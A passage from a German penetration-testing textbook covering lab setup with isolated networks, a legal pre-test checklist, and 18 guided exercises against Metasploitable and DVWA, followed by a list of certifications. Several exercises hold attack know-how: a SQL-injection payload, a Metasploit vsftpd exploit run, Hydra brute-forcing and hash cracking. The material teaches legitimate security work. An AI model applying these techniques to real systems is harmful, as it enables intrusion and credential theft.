Rohe Tool-Ausgabe unkommentiert einfügen	Ausgabe kurz einordnen: Was bedeutet sie, warum ist sie relevant?
Übertrieben dramatische Sprache	Sachlich bleiben, Risiko durch CVSS und Fakten begründen, nicht durch Adjektive
Nur technische Symptome, keine Ursache	Grundursache benennen (z. B. "fehlende Eingabevalidierung", nicht nur "SQL-Fehler aufgetreten")
Empfehlung fehlt oder ist zu allgemein	Immer konkrete, umsetzbare nächste Schritte nennen
Kein Verweis auf Referenzrahmen	OWASP-Kategorie oder CWE-Nummer angeben, erleichtert spätere Nachverfolgung

Zusammenfassung

Zusammenfassung

- Der Bericht ist oft das eigentliche Produkt eines Pentests; Struktur und Verständlichkeit zählen genauso wie technische Tiefe.

- Jeder Befund braucht Titel, Risikoeinstufung, Beschreibung, Proof of Concept, Auswirkung und Empfehlung.
- CVSS liefert eine nachvollziehbare, faktorbasierte Risikoeinstufung zwischen 0.0 und 10.0.
- Empfehlungen müssen konkret, umsetzbar und nach Dringlichkeit priorisiert sein.
- Der Bericht selbst ist vertraulich und entsprechend zu schützen.
- Eine Gruppierung nach Schwachstellenklasse macht strukturelle Muster sichtbar.
- Der Retest prüft nach der Behebung, ob Maßnahmen tatsächlich wirksam sind, und gehört zum professionellen Abschluss eines Auftrags.
- Ein vollständiger Befundeintrag verbindet Risikoeinstufung, Proof of Concept, Empfehlung und Referenzrahmen zu einem nachvollziehbaren Ganzen.
- Sachliche Sprache, benannte Ursachen und konkrete Empfehlungen unterscheiden einen professionellen von einem unausgereiften Bericht.

Kapitel 9: Praxisteil – Laboraufbau und geführte Übungen

Lernziele

- Du baust ein Labor mit klar getrennten Netzwerkprofilen auf: Installation mit kontrolliertem Internetzugang und Testbetrieb ohne jede Internetverbindung.
- Du prüfst Netzwerkisolation anhand mehrerer Kriterien, nicht nur anhand eines einzelnen Befehls.
- Du nutzt die rechtliche Vorprüfungs-Checkliste vor jedem Test, auch im eigenen Labor.
- Du arbeitest 18 Übungen durch, die alle Kapitel dieses Buches praktisch verbinden, und kennst die Grenzen ihrer Reproduzierbarkeit.

9.1 Zwei Netzwerkprofile statt eines

Alle Techniken dieses Buches brauchen eine Umgebung, in der Fehler nichts kosten und niemand außer dir betroffen ist. Ein verbreiteter, aber ungenauer Ratschlag lautet, das Labor sei „einfach isoliert". Tatsächlich braucht der Aufbau **zwei unterschiedliche Netzwerkprofile**, weil Installation und Testbetrieb gegensätzliche Anforderungen haben:

Profil	Zweck	Netzwerkzugang
A – Installationsprofil	Offizielle Images herunterladen, Pakete installieren, Updates einspielen	kontrollierter Internetzugang (z. B. NAT-Adapter)
B – Testprofil	Scannen, Exploitation, Passwortangriffe durchführen	ausschließlich **Internal Network**, kein Internet, kein Host-only-Zugriff auf den Host

Gut zu wissen

Host-only ist nicht dasselbe wie „isoliert vom Internet". Ein Host-only-Netzwerk (VirtualBox: *Host-only Adapter*) verbindet die VMs **und den Host-Rechner** miteinander; ob darüber auch ins Internet geroutet wird, hängt zusätzlich von der Host-Konfiguration (Internetfreigabe, NAT-Weiterleitung) ab. Ein **Internal Network** (VirtualBox: *Internes Netzwerk*) verbindet dagegen ausschließlich die daran angeschlossenen VMs untereinander, ganz ohne Verbindung zum Host oder nach außen. Für das Testprofil (B) ist deshalb **Internal Network**, nicht Host-only, die richtige Wahl.

Beispiel 9.1: Netzwerktopologie der zwei Profile (Konzept)

```
Profil A (Installation):
  Kali-VM: Adapter 1 = NAT (Internetzugang zum Laden von Paketen/Images)

Profil B (Test, nach abgeschlossener Installation):
  Kali-VM:          Adapter 1 = Internes Netzwerk "pentestlab"
  Metasploitable-VM: Adapter 1 = Internes Netzwerk "pentestlab"
  DVWA-Container:    nur an 127.0.0.1 der Kali-VM gebunden
-> Im Profil B existiert in keiner VM ein Adapter mit Internet- oder
   Host-Zugriff.
```

Komponente	Zweck	Bezugsquelle
Kali Linux	vorinstallierte Pentest-Distribution (Nmap, Metasploit, Burp Suite u. v. m.)	offizielles Kali-Projekt
Metasploitable 2	absichtlich verwundbare Linux-VM für Scanning/Exploitation	offizielles Rapid7-Projekt
DVWA	absichtlich verwundbare PHP-Webanwendung für Kapitel 6	offizielles DVWA-Projekt, als Docker-Image verfügbar
HackTheBox / TryHackMe	Online-Plattformen mit gestaffelten, legalen Übungsmaschinen	jeweilige Plattform-Accounts

LEGAL – nur mit Auftrag/Einwilligung

Das Starten eigener virtueller Maschinen auf deiner eigenen Hardware ist unproblematisch, weil es dein eigenes System ist. HackTheBox und TryHackMe stellen ihre Maschinen ausdrücklich zu Übungszwecken bereit; die Nutzung im Rahmen ihrer Nutzungsbedingungen ist ebenfalls legal – allerdings ist die VPN-Verbindung zu diesen Plattformen ein **separater Online-Betriebsmodus**, keine Offline-Isolation, und unterliegt eigenen, von der Plattform festgelegten Regeln (siehe 9.1, Abschnitt zu HTB/THM).

WARNUNG – Sicherheitsrisiko

Verbinde Metasploitable und DVWA niemals mit einem Bridged-Adapter oder NAT ohne vorherige Rückumstellung auf Internal Network. Beide Systeme sind absichtlich so unsicher, dass sie binnen Minuten aus dem offenen Internet kompromittiert würden.

9.2 Schritt-für-Schritt-Installation des Labors

Virtualisierungssoftware installieren (Profil A)

Beispiel 9.2: VirtualBox installieren (Windows/Linux/macOS)

```
# Windows: Installer von der offiziellen VirtualBox-Seite herunterladen
# und als Administrator ausführen.
# Linux (Debian/Ubuntu):
$ sudo apt update && sudo apt install virtualbox virtualbox-ext-pack
# macOS: .dmg-Installer von der offiziellen Seite verwenden.
```

TIPP – Profi-Trick

VMware Workstation Player ist eine gleichwertige Alternative zu VirtualBox. Die Befehle in diesem Kapitel beziehen sich auf VirtualBox, das Prinzip ist aber identisch.

Kali Linux als Angreifer-VM einrichten

Beispiel 9.3: Kali Linux importieren und vorbereiten (Profil A)

```
1. Offizielles Kali-VirtualBox-Image (.ova) von der Kali-Projektseite laden.
2. In VirtualBox: Datei -> Appliance importieren -> .ova-Datei auswählen.
3. Netzwerkadapter 1 zunächst auf "NAT" stellen (Profil A, für die
   folgenden Schritte).
4. VM starten, Standardanmeldedaten des offiziellen Images verwenden und
   sofort das Passwort ändern: $ passwd
5. Pakete aktualisieren: $ sudo apt update && sudo apt full-upgrade
6. Erst DANACH, vor Beginn jeder Testübung: VM herunterfahren,
   Netzwerkadapter 1 auf "Internes Netzwerk" (z. B. "pentestlab")
   umstellen -> Profil B ist aktiv.
```

Metasploitable 2 als Zielsystem einrichten

Beispiel 9.4: Metasploitable 2 importieren

```
1. Offizielles Metasploitable-2-Image von der Rapid7-Projektseite laden.
2. In VirtualBox: Neue VM anlegen, Typ "Linux", vorhandene Festplatte
   (die mitgelieferte .vmdk-Datei) auswählen.
3. Netzwerkadapter 1 direkt auf "Internes Netzwerk" stellen, denselben
   Namen wie bei Kali (z. B. "pentestlab") – diese VM braucht nie
   Internetzugang, also kein Profil A nötig.
4. VM starten, Standardanmeldedaten des offiziellen Images verwenden
   (msfadmin/msfadmin) – diese VM bleibt absichtlich unsicher.
```

DVWA als Docker-Container einrichten

Beispiel 9.5: DVWA per Docker in der Kali-VM starten

```
$ sudo apt install docker.io
$ sudo docker run --rm -it -p 127.0.0.1:80:80 vulnerables/web-dvwa
# Im Browser der Kali-VM: http://127.0.0.1
# Standardanmeldedaten: admin / password
# Nach dem Login: Sicherheitsstufe unter "DVWA Security" setzen
# Nach Nutzung: Button "Create / Reset Database" setzt den Zustand zurück
```

> **WARNUNG – Sicherheitsrisiko**
>
> Binde den DVWA-Container ausschließlich an `127.0.0.1` (wie oben mit `-p 127.0.0.1:80:80` gezeigt), damit die absichtlich verwundbare Anwendung nicht versehentlich im gesamten internen Netz erreichbar ist. Notiere dir das verwendete Image-Tag bzw. den Commit-Stand, damit Übungen später reproduzierbar bleiben – das Projekt wird weiterentwickelt, und Verhalten kann sich zwischen Versionen unterscheiden.

Netzwerkisolation verifizieren (Profil B, vor jeder Testübung)

Ein einzelner Befehl beweist Isolation nicht zuverlässig. Prüfe mehrere Kriterien gemeinsam:

Checkliste 9.0: Isolation vor dem Testbetrieb prüfen

```
[ ] Netzwerkadapter aller beteiligten VMs steht auf "Internes Netzwerk"
    (nicht NAT, nicht Bridged, nicht Host-only)
[ ] `ip route` in der Kali-VM zeigt KEINE Standardroute (kein "default via")
[ ] Die Kali-VM erreicht die Metasploitable-VM: $ ping -c 2 192.168.56.102
[ ] Ein Verbindungsversuch nach außen schlägt fehl: $ ping -c 2 8.8.8.8
[ ] Auf dem Host ist keine Internetfreigabe/NAT-Weiterleitung für das
    interne Netzwerk aktiv (Host-Netzwerkeinstellungen prüfen)
```

Beispiel 9.6: Routing und Erreichbarkeit prüfen

```
$ ip route
192.168.56.0/24 dev eth0 proto kernel scope link src 192.168.56.101
# KEINE Zeile mit "default via ..." -> kein bekannter Weg ins Internet
$ ping -c 2 192.168.56.102   # Metasploitable sollte erreichbar sein
$ ping -c 2 8.8.8.8          # sollte fehlschlagen oder zeitlos hängen
```

> **Gut zu wissen**
>
> Dass `ping 8.8.8.8` fehlschlägt, ist ein **Indiz**, kein abschließender Beweis für Isolation – ein restriktives Netzwerk könnte auch nur ICMP blockieren, während andere Protokolle noch durchkommen. Die Kombination aus Adapter-Einstellung, Routing-Tabelle und Host-Konfiguration aus der Checkliste oben ist deshalb wichtiger als der einzelne Ping-Befehl.

Online-Plattformen: HackTheBox und TryHackMe

Beispiel 9.7: Zugang zu Online-Laboren einrichten

```
1. Kostenloses Konto bei TryHackMe oder HackTheBox anlegen.
2. VPN-Konfigurationsdatei der Plattform herunterladen.
3. Verbindung in der Kali-VM aufbauen (dafür ist vorübergehend wieder ein
   Adapter mit Internetzugang nötig, z. B. NAT):
   $ sudo openvpn tryhackme.ovpn
4. Nach erfolgreichem Verbindungsaufbau ist die zugewiesene Übungsmaschine
   über die im Dashboard angegebene IP-Adresse erreichbar.
```

> **LEGAL – nur mit Auftrag/Einwilligung**
>
> Der VPN-Tunnel zu TryHackMe/HackTheBox verbindet dich ausschließlich mit den dir im Rahmen deines Accounts zugewiesenen, zu Übungszwecken freigegebenen Maschinen. Das Scannen oder Angreifen anderer Teilnehmer:innen oder der Plattforminfrastruktur selbst verstößt gegen die Nutzungsbedingungen (siehe die jeweils aktuelle Acceptable Use Policy der Plattform) und kann zivil- und strafrechtliche Folgen haben.

9.3 Checkliste: Rechtliche und ethische Vorprüfung vor jedem Test

Diese Checkliste gilt **ausnahmslos**, auch im eigenen, isolierten Labor – sie einzuüben ist Teil der Ausbildung.

Checkliste 9.1: Vor jedem Test

```
[ ] Liegt ein unterschriebener Vertrag mit definiertem Scope vor
    (oder handelt es sich um eine eigene, isolierte Laborumgebung)?
[ ] Sind Ziel-IPs/Domains/Anwendungen eindeutig und schriftlich benannt?
[ ] Sind ausgeschlossene Systeme und Zeitfenster klar benannt?
[ ] Ist ein Notfallkontakt beim Auftraggeber erreichbar?
[ ] Liegt eine Freistellungserklärung (Get-out-of-jail-free letter) vor?
[ ] Sind erlaubte Methoden definiert (DoS? Social Engineering? physisch?)
[ ] Ist die Datenschutz-/AVV-Frage geklärt (DSGVO)?
[ ] Ist sichergestellt, dass KEIN Produktivsystem betroffen ist, sofern
    nicht ausdrücklich vereinbart?
[ ] Ist eine Rollback-/Snapshot-Strategie für die Laborumgebung vorhanden?
[ ] Weiß ich, wen ich bei einem unerwarteten Vorfall sofort informiere?
```

TIPP – Profi-Trick

Lege für jede VM vor Beginn der Übungen einen **Snapshot** an. So kannst du nach jeder Übung in Sekunden zum sauberen Ausgangszustand zurückkehren.

9.4 So arbeitest du die Übungen durch

Die 18 Übungen sind nach Kapiteln geordnet und steigen in der Schwierigkeit. Viele Ergebnisse hängen von genauen Versionen, Browsereinstellungen oder Plattform-Konfigurationen ab; wo das der Fall ist, benennt die Lösung das ausdrücklich, statt einen garantierten Erfolg zu versprechen. Löse jede Übung zunächst mit den Befehlen aus dem jeweiligen Kapitel, bevor du die Musterlösung ansiehst.

Übung 1: Installation und Isolationsnachweis der Kali-VM

Labor: Kali Linux (lokale VM) · **Kapitel:** 2

Übung

Phase A (Installation, mit Internet): Installiere Kali Linux in VirtualBox mit NAT-Adapter, aktualisiere die Pakete vollständig (`sudo apt update && sudo apt full-upgrade`) und notiere das Datum. **Phase B (Isolation, ohne Internet):** Fahre die VM herunter, stelle den Adapter auf „Internes Netzwerk" um, starte neu und arbeite die Checkliste 9.0 vollständig ab.

Lösungshinweis

Erfolgskriterium für Phase B: `ip route` zeigt keine Standardroute, `ping` zur Metasploitable-VM funktioniert, `ping 8.8.8.8` schlägt fehl, und der Netzwerkadapter ist nachweislich auf „Internes Netzwerk" gestellt (nicht nur die IP-Adresse geprüft). Die beiden Phasen sauber zu trennen ist hier die eigentliche Übung.

Übung 2: HTTP-Verkehr mit Burp Suite mitschneiden

Labor: Burp Suite Community + DVWA · **Kapitel:** 2, 5

Übung

Richte Burp Suite als Proxy ein (Beispiel 5.4) und installiere das Burp-CA-Zertifikat **ausschließlich in einem separaten Browserprofil** (oder nutze den mitgelieferten Burp-Browser), das du nur für diese Übungen verwendest. Schneide einen vollständigen Login-Vorgang bei DVWA (`http://127.0.0.1`) mit und identifiziere im „HTTP history"-Tab die POST-Anfrage mit den Login-Daten.

Lösungshinweis

Die POST-Anfrage an `/login.php` enthält die Parameter `username` und `password` im Klartext im Request Body, solange DVWA ohne zusätzliche Verschlüsselungsschicht läuft. Entferne das CA-Zertifikat nach Abschluss der Übungen aus dem Testprofil wieder, damit nicht dauerhaft der gesamte TLS-Verkehr dieses Profils abfangbar bleibt.

Übung 3: Lokale Namensauflösung und passive Domain-Recherche

Labor: Whois, theHarvester, eigene registrierte Domain · **Kapitel:** 3

Übung

Dies sind zwei getrennte Teilaufgaben. **Teil 1 (rein lokal, kein externer Kontakt):** Trage einen Testnamen in `/etc/hosts` ein und prüfe die Namensauflösung mit `ping` oder `getent hosts` – das erzeugt weder öffentliche Registrierungsdaten noch echte DNS-Einträge, zeigt dir aber den Mechanismus. **Teil 2 (echte, externe Abfrage):** Führe Whois- und theHarvester-Abfragen ausschließlich gegen eine Domain durch, die dir selbst gehört oder für die OSINT-Übungen ausdrücklich erlaubt sind.

Lösungshinweis

Teil 1 zeigt nur, dass dein System den lokalen Eintrag nutzt – ohne jede externe Anfrage. Teil 2 verlässt bewusst das isolierte Labor und kontaktiert reale, externe Dienste (Registrare, Suchmaschinen); dokumentiere Registrar, Namensserver und gefundene Subdomains in einem Recon-Protokoll (Beispiel 3.6) und beachte dabei Datenminimierung.

Übung 4: Shodan-Recherche verstehen

Labor: Shodan (nur lesend) · **Kapitel:** 3

Übung

Suche in Shodan nach einem allgemeinen, nicht-identifizierenden Begriff (z. B. `product:"Apache httpd"`) und analysiere drei Treffer hinsichtlich Land, Version und offengelegten Bannern. Baue **keine** Verbindung zu den gefundenen Systemen auf, und veröffentliche keine identifizierenden Ergebnisse (IP-Adressen, Betreibernamen) aus dieser Übung.

Lösungshinweis

Erkenntnis: Shodan zeigt, wie viele **reale, fremde** Systeme weltweit veraltete oder unsichere Konfigurationen öffentlich preisgeben, ganz ohne eigenes aktives Scannen. Gerade weil es reale Systeme Dritter sind, bleibt es bei reinem Lesen der Shodan-Datenbank, ohne direkten Kontakt zum gefundenen System – und ohne Weitergabe der Nutzungsbedingungen von Shodan zu verletzen.

Übung 5: Nmap-Grundscan gegen Metasploitable

Labor: Nmap + Metasploitable 2 · **Kapitel:** 4

Übung

Führe einen einfachen Nmap-Scan (Beispiel 4.1) gegen deine eigene, im selben internen VM-Netz laufende Metasploitable-2-VM durch (die konkrete Adresse entnimmst du deiner eigenen Konfiguration, nicht den Beispieladressen im Buch) und liste alle offenen Ports mit Dienstnamen.

Lösungshinweis

Erwartete offene Ports u. a.: 21 (FTP), 22 (SSH), 23 (Telnet), 80 (HTTP), 3306 (MySQL), 5432 (PostgreSQL) – Metasploitable 2 ist absichtlich mit vielen offenen, verwundbaren Diensten ausgestattet.

Übung 6: Service- und Versionserkennung

Labor: Nmap -sV + Metasploitable 2 · **Kapitel:** 4

Übung

Wiederhole den Scan mit `-sV` und identifiziere mindestens zwei Dienste mit bekannten, veralteten Versionen.

Lösungshinweis

`vsftpd 2.3.4` und `OpenSSH 4.7p1` erscheinen als Versionsbanner. Ein Banner ist ein **Hinweis**, kein Beweis für eine installierte verwundbare Binärdatei (siehe Kapitel 5.3) – dokumentiere Banner und Scan-Ausgabe, bevor du in Übung 9 die tatsächliche Ausnutzbarkeit prüfst.

Übung 7: Banner Grabbing manuell mit netcat

Labor: Metasploitable 2 · **Kapitel:** 4

Übung

Verbinde dich mit `netcat` manuell zu Port 21 (Beispiel 4.4) und zu Port 80 (Beispiel 4.4b, vollständige HTTP-Anfrage mit Host-Header und abschließender Leerzeile) und lies die Banner ohne Nmap aus.

Lösungshinweis

Der FTP-Banner erscheint sofort nach dem Verbindungsaufbau. Der HTTP-Banner erscheint erst, nachdem die vollständige Anfrage inklusive `Host:`-Header und einer abschließenden Leerzeile gesendet wurde – eine unvollständige Anfrage lässt die Verbindung hängen.

Übung 8: Schwachstellenscan mit OpenVAS/Nessus Essentials

Labor: OpenVAS + Metasploitable 2 · **Kapitel:** 4

Übung

Installiere OpenVAS oder Nessus Essentials (Profil A, mit Internet, für die Installation und den Feed-Download), stelle danach auf das isolierte Testprofil B um, führe einen vollständigen Scan gegen Metasploitable 2 durch und sortiere die gemeldeten Befunde nach Schweregrad.

Lösungshinweis

Erwarte mehrere kritische Befunde, darunter einen Hinweis auf die vsftpd-Version. Ein vom Scanner gemeldeter Fund – auch ein als „bestätigt" markierter – ist eine Software-Einschätzung, kein manueller Beweis; notiere Scanner-Version und Feed-Stand, und verifiziere mindestens einen Befund eigenständig (z. B. in Übung 9), statt ihn ungeprüft zu übernehmen.

Übung 9: Metasploit-Grundlagen – Modul suchen und konfigurieren

Labor: Metasploit Framework + Metasploitable 2 · **Kapitel:** 5

Übung

Setze deine Metasploitable-VM per Snapshot auf einen sauberen Ausgangszustand zurück. Suche in `msfconsole` nach einem passenden Modul für die in Übung 6 gefundene vsftpd-Version, konfiguriere `RHOSTS` und führe den Exploit aus (Beispiele 5.2–5.3).

Lösungshinweis

Notiere Metasploit-Version, verwendetes Modul und tatsächliches Ergebnis. Prüfe nach einem Lauf mit `whoami` oder `id`, welche Rechte die geöffnete Sitzung tatsächlich hat – das Modulverhalten und Standardoptionen können sich zwischen Metasploit-Versionen ändern, ein bestimmtes Rechteniveau ist nicht in jedem Fall garantiert. Erhältst du keine Sitzung, ist das ebenfalls ein gültiges, dokumentationswürdiges Ergebnis: Notiere Fehlermeldung und Modul-Debug-Ausgabe als Lernpunkt.

Übung 10: SQL-Injection in DVWA (Low Security)

Labor: DVWA · **Kapitel:** 6

Übung

Stelle den DVWA-Schwierigkeitsgrad auf „Low", notiere die verwendete DVWA-Version/den Image-Stand, und reproduziere die SQL-Injection aus Beispiel 6.2 und 6.3 mit ausschließlich den in der Installation enthaltenen Testdaten. Setze die Datenbank danach über die DVWA-eigene Funktion zurück.

Lösungshinweis

Mit `1' UNION SELECT user, password FROM users -- -` erscheinen Benutzername-Hash-Paare der mitgelieferten Testnutzer auf der Ergebnisseite. Vergleiche danach denselben Versuch auf Stufe „Medium" und „High" und beobachte, welche Schutzmaßnahmen greifen.

Übung 11: Reflected und Stored XSS in DVWA

Labor: DVWA · **Kapitel:** 6

Übung

Reproduziere Reflected XSS (Beispiel 6.5) im entsprechenden DVWA-Modul und Stored XSS mit der harmlosen `alert(...)`-Variante (Beispiel 6.6) im Gästebuch-Modul. Lösche den gespeicherten Testeintrag danach wieder.

Lösungshinweis

Reflected XSS löst das Pop-up nur bei direktem Aufruf der manipulierten URL aus; Stored XSS führt den Code bei **jedem** Seitenaufruf durch **jede** Person aus, bis der Eintrag gelöscht wird – ein deutlich höheres Risiko, bereits ohne jede Cookie-Weiterleitung demonstrierbar.

Übung 12: CSRF-Hypothese testen und bewerten

Labor: DVWA · **Kapitel:** 6

Übung

Baue eine lokale HTML-Testseite mit einem Bild-Tag nach Beispiel 6.7, die die DVWA-Passwortänderungsfunktion deines **eigenen** Testkontos aufruft. Notiere Browser, DVWA-Version und ob die Änderung tatsächlich ausgelöst wird. Setze dein Passwort danach zurück.

Lösungshinweis

Ob die Passwortänderung tatsächlich erfolgt, hängt von Browser-Voreinstellungen (insbesondere `SameSite`) und der DVWA-Konfiguration ab – ein negatives Ergebnis ist genauso lehrreich wie ein positives. Das eigentliche Lernziel bleibt unabhängig vom Ausgang bestehen: Eine zustandsändernde Aktion über GET ist ein Designfehler, den eine sichere Anwendung durch POST, CSRF-Token und Origin-Prüfung vermeidet.

Übung 13: Authentifizierungsfehler – Brute-Force mit Hydra

Labor: DVWA oder eine eigens dafür bereitgestellte Demo-Login-Seite · **Kapitel:** 6, 7

Übung

Lies zunächst mit Burp Suite (Übung 2) die exakten Formularparameter und die Fehlermeldung deines Ziel-Logins aus. Führe danach einen Wörterbuchangriff mit Hydra gegen dieses Login durch (Beispiel 6.8) und bestimme, wie lange ein Angriff mit einer kleinen, selbst erstellten Testwortliste dauert.

Lösungshinweis

Ohne Kontosperrung oder Rate-Limiting findet Hydra ein in der Liste enthaltenes Testpasswort zuverlässig – vorausgesetzt, das Formular verlangt kein dynamisches, pro Anfrage wechselndes Token. Verlangt dein DVWA-Stand ein solches Token, scheitert dieser einfache Hydra-Aufruf grundsätzlich; nutze in diesem Fall eine eigens bereitgestellte, einfache Demo-Login-Seite ohne Token für die Übung. Aktiviere danach (sofern im Labor vorgesehen) eine Sperrlogik und beobachte den Unterschied.

Übung 14: Passwort-Hashes knacken mit Hashcat

Labor: Hashcat, selbst erzeugte Beispielhashes · **Kapitel:** 7

Übung

Erzeuge drei MD5-Hashes aus einfachen, gebräuchlichen Testpasswörtern und knacke sie mit Hashcat und einer kleinen Wortliste (Beispiel 7.1). Erzeuge danach den Hash eines 16-stelligen, zufällig generierten Passworts und versuche denselben Angriff erneut.

Lösungshinweis

Die kurzen, gebräuchlichen Passwörter werden schnell gefunden. Das zufällige 16-stellige Passwort wird mit der kleinen Wortliste in aller Regel **nicht gefunden** – dokumentiere genau das als Ergebnis, nicht eine Laufzeit. Die Laufzeit des erfolglosen Versuchs sagt nur aus, wie lange das Durchlaufen der Liste gedauert hat, nicht, wie „schwer" das Passwort wäre; ein echter Schwierigkeitsvergleich bräuchte einen festgelegten Kandidatenraum (z. B. eine Maskenangabe) oder den Vergleich unterschiedlicher Hashverfahren (schnelles MD5 gegenüber absichtlich langsamem bcrypt/Argon2).

Übung 15: Privilegieneskalation unter Linux

Labor: eigens dafür gewählter, unprivilegierter Einstieg (z. B. ein spezifischer TryHackMe-Einsteigerraum zu PrivEsc) · **Kapitel:** 7

Übung

Wähle gezielt einen Raum oder eine VM, die **nicht** bereits eine Root-Shell liefert (die Shell aus Übung 9 ist dafür ungeeignet, da sie das Ziel dieser Übung vorwegnimmt), und finde darin mit `sudo -l` und der Suche nach SUID-Binaries (Beispiel 7.2) einen dokumentierten Weg von einem gewöhnlichen Benutzerkonto zu root-Rechten.

Lösungshinweis

Dokumentiere den genauen Pfad: Startbenutzer, gefundene Fehlkonfiguration, genutzter Befehl, erreichtes Rechteniveau (`id` zeigt `uid=0(root)`). Ohne einen klar definierten, unprivilegierten Startzustand lässt sich diese Übung nicht sinnvoll durchführen.

Übung 16: Lateral Movement – konzeptionell nachvollziehen

Labor: ein offiziell bereitgestellter Active-Directory-Übungsraum (z. B. bei TryHackMe/HackTheBox) · **Kapitel:** 7

Übung

Bearbeite einen von der jeweiligen Plattform offiziell bereitgestellten, für AD-Grundlagen ausgewiesenen Übungsraum und ordne jeden Schritt dem Konzept aus Beispiel 7.5 zu: Welcher Schritt entspricht initialem Zugriff, welcher dem Auslesen von Zugangsdaten, welcher der Bewegung zum nächsten System?

Lösungshinweis

Wichtigste Erkenntnis für den Bericht: Welche einzelne Fehlkonfiguration (z. B. wiederverwendetes lokales Admin-Passwort, zu weitreichende Gruppenmitgliedschaft) hat die Bewegung zwischen den Systemen erst ermöglicht? Ein eigenes Active-Directory-Lab von Grund auf aufzubauen ist ein lohnendes Folgeprojekt (Windows-Lizenzen, Domänen- und Kontenanlage, definierte Fehlkonfiguration, Bereinigung), sprengt aber den Rahmen einer Einzelübung; nutze dafür die ausführlichen Anleitungen offizieller Lernplattformen.

Übung 17: Einen vollständigen Schwachstellenbericht schreiben

Labor: eigene Ergebnisse aus Übung 5, 6, 10 und 13 · **Kapitel:** 8

Übung

Fasse deine Ergebnisse aus mindestens drei der genannten Übungen nach dem Schema aus Beispiel 8.2/8.6 zusammen: Titel, vollständiger CVSS-Vektor (nicht nur die Zahl), Proof of Concept mit deinen eigenen Befehlen und Ausgaben, Auswirkung, priorisierte Empfehlung.

Lösungshinweis

Nutze als Vorlage für Vektor und Aufbau das vollständige Beispiel 8.6. Ein guter Bericht lässt sich auch von jemandem nachvollziehen, der die Übung nicht selbst durchgeführt hat und der deinen CVSS-Vektor im offiziellen FIRST-Rechner nachrechnen kann – das ist der Maßstab für Vollständigkeit.

Übung 18: Mini-Pentest gegen eine HTB/THM-Einsteigermaschine

Labor: HackTheBox oder TryHackMe (eine dir zugewiesene Einsteiger-Maschine) · **Kapitel:** 9 (alle vorherigen Kapitel)

Übung

Durchlaufe an deiner zugewiesenen Einsteigermaschine den vollständigen Zyklus: Recon, Scanning, Exploitation, Privilegieneskalation, Bericht. Beachte, dass du dich dabei an die zum Zeitpunkt deiner Nutzung gültigen Regeln der Plattform hältst – deine Maschine ist ein begrenztes, dir zugewiesenes Trainingsziel, kein Scope im Sinne eines echten Kundenauftrags.

Lösungshinweis

Das Ergebnis ist dein erster vollständiger, eigenständig erstellter Pentest-Bericht (Kapitel 8) – ein starkes Portfolio-Stück für Bewerbungen oder Zertifizierungsvorbereitungen (Kapitel 10), auch wenn Umfang und Freiheitsgrade kleiner sind als bei einem realen Auftrag.

Zusammenfassung

Zusammenfassung

- Trenne Installationsprofil (mit kontrolliertem Internetzugang) und Testprofil (Internal Network, kein Internet) konsequent; Host-only ist dafür nicht dasselbe wie Isolation.
- Prüfe Isolation anhand mehrerer Kriterien (Adapter-Typ, Routing-Tabelle, Erreichbarkeit, Host-Konfiguration), nicht anhand eines einzelnen Befehls.
- Die rechtliche Vorprüfungs-Checkliste gilt ausnahmslos, auch im eigenen Labor – sie einzuüben ist Teil der Ausbildung selbst.
- Viele Übungsergebnisse hängen von konkreten Versionen, Browsereinstellungen oder Plattform-Konfigurationen ab; dokumentiere diese Abhängigkeiten, statt Erfolg zu garantieren.
- Die 18 Übungen verbinden alle Kapitel zu einem nachvollziehbaren Pentest-Workflow von Recon bis Bericht.

Kapitel 10: Glossar und weiterführende Ressourcen

Lernziele

- Du kennst die wichtigsten Einsteiger- und Fortgeschrittenen-Zertifizierungen und ihren jeweiligen Fokus.
- Du findest legale Lernplattformen und Communities für den Weiterausbau deiner Fähigkeiten.
- Du planst deinen eigenen Lernpfad vom Einsteiger zur spezialisierten Fachkraft.

10.1 Zertifizierungen im Überblick

Zertifizierung	Fokus	Niveau	Besonderheit
eJPT (eLearnSecurity Junior Penetration Tester)	praktische Grundlagen, Web und Netzwerk	Einsteiger	reine Praxisprüfung in einer Laborumgebung
CEH (Certified Ethical Hacker)	breites theoretisches Grundlagenwissen, viele Tool-Namen	Einsteiger bis Mittel	multiple-choice-basiert, international anerkannt
OSCP (Offensive Security Certified Professional)	tiefgehende, praktische Exploitation in einer 24-Stunden-Prüfung	Fortgeschritten	gilt in der Branche als besonders praxisnah und anspruchsvoll
CompTIA PenTest+	breite Pentest-Methodik inkl. Reporting	Einsteiger bis Mittel	stark methodik- und prozessorientiert
OSWE / OSEP	spezialisierte Offensive-Security-Vertiefungen (Web, Evasion)	Fortgeschritten	Aufbau auf OSCP-Niveau

Gut zu wissen

Für den Einstieg empfiehlt sich meist **eJPT** oder **CompTIA PenTest+** als erste praxisnahe Zertifizierung, bevor man sich an die deutlich anspruchsvollere **OSCP** wagt. **CEH** wird von manchen Arbeitgebern formal verlangt, gilt in der praktischen Tiefe aber als weniger anspruchsvoll als OSCP.

10.2 Lernplattformen

Plattform	Beschreibung
TryHackMe	geführte, didaktisch aufbereitete Lernpfade für Einsteiger:innen
HackTheBox	größere Auswahl eigenständiger Maschinen, weniger Führung, für Fortgeschrittene
PortSwigger Web Security Academy	kostenlose, sehr detaillierte Web-Sicherheits-Labore (Burp-Suite-Hersteller)
OverTheWire	klassische Wargames zum Einstieg in Linux und grundlegende Exploitation
VulnHub	herunterladbare, absichtlich verwundbare VM-Images

10.3 Communities und Konferenzen

- **Chaos Computer Club (CCC)** und lokale Hackerspaces – Vorträge, Austausch, Congress (37C3 und Nachfolger)
- **OWASP-Chapter** in vielen deutschen Städten – Fokus auf Web-Sicherheit
- **Bug-Bounty-Plattformen** wie HackerOne und Intigriti – auch als Lernumgebung mit öffentlichen, dokumentierten Writeups
- **Deutsche und internationale Security-Subreddits und Discord-Server** – aktueller Austausch, aber Tipps stets kritisch prüfen

10.4 Dein Lernpfad

Stufe	Ziel	Schritte
1	Grundlagen sicher	Kapitel 1–4 dieses Buches, OverTheWire-Wargames
2	Web-Sicherheit	Kapitel 6, PortSwigger Academy, DVWA vollständig durcharbeiten
3	Systeme und Netzwerke	Kapitel 7, TryHackMe-Einsteigerpfade, eigenes AD-Lab
4	Zertifizierung	eJPT oder CompTIA PenTest+ als erste Prüfung
5	Vertiefung	HackTheBox, OSCP-Vorbereitung, eigene Writeups veröffentlichen

10.5 Zertifizierungsprüfungen im Vergleich

Zertifizierung	Prüfungsform	Typische Dauer	Ungefähre Kosten
eJPT	Praktisches Labor, online	48 Stunden Zugriff	niedrig (unter 300 €)
